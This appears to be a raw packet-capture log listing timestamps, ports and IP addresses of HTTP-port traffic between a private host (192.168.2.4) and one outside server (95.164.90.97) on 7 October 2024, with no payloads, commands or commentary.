Oct 7, 2024 03:15:39.990134954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990134954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990139961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990153074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990190983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990197897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990233898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990243912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990292072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990293026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990325928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990343094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990381956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990384102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990418911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990422964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990456104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990468025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990492105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990500927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990530014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990545988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990576982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990586042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990638018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990639925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990675926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990689039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990714073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990726948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990766048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990767956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990820885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990823030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990855932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990873098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990895033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990899086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990930080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990940094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990976095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990986109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991022110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991029978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991065979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991080046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991112947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991162062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991166115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991218090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991220951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991257906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991270065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991292953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991305113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991401911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991422892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991456032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991465092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991492987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991524935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991524935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991538048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991559982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991571903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991595984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991605043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991631031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991638899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991666079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991677046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991720915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991727114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991769075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991774082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991808891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991818905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991856098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991890907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991925955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991934061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.991966963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.991967916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992002964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992013931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992038965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992050886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992074966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992083073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992109060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992119074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992145061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992151022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992178917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992192030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992218971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992224932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992254972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992265940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992290974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992302895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992326021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992341042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992366076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992373943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992399931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992413044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992436886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992448092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992472887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992486954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992512941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992522955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992551088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992559910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992671967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992690086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992706060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992729902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992743015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992747068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992775917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992789030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992813110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992820978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992847919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992858887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992883921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992892027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992918015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992934942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992957115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.992966890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.992991924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.993010044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.993027925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.993036985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.993067026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.993145943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.993145943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.013197899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.013230085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.013287067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.013298988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.013323069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.013328075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.013346910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.013358116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.013365984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.013392925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.013405085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.013428926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.013436079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.013463974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.013477087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.013508081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.033302069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.033395052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.033399105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.033449888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.033454895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.033490896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.033502102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.033525944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.033533096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.033562899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.033575058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.033597946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.033611059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.033632994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.033643961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.033679008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052413940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052472115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052503109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052537918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052556038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052568913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052592039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052629948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052644968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052659988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052680969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052692890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052716017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052727938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052757978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052769899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052818060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052824020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052858114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052871943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052891970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052908897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052926064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052937031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.052961111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.052974939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.053002119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.053010941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.053042889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.076728106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.076761007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.076814890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.076867104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.076908112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.076961994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.076967955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077002048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077016115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077039003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077047110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077074051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077083111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077107906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077115059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077142954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077150106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077177048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077186108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077220917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077229023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077261925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077267885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077296019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077301025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077332973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077332973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077368021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077383041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077404022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077410936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077447891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077457905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077491045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077497005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077524900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077532053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077569962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077577114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077613115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077620029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077649117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077653885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077688932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077704906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077735901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077744961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077778101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077785969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077826977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077840090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077884912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077897072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077939034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.077948093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077982903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.077989101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078017950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078023911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078052998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078057051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078087091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078095913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078121901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078130007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078165054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078178883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078221083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078231096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078274012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078283072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078316927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078332901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078349113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078360081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078387022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078399897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078433990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078440905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078480005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078494072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078551054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078558922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078610897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078615904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078649998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078659058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078682899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078684092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078721046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078725100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078763962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078773975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078818083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078825951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078860044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078871012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078896046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078902960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078929901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078938007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.078967094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.078974009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079000950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079008102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079035997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079041958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079070091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079077959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079103947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079109907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079138994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079145908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079173088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079180956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079207897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079215050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079243898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079246998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079278946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079286098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079313040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079319954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079348087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079355001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079399109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079401970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079441071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079444885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079474926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.079484940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.079510927 CEST	80	49737	95.164.90.97	192.168.2.4
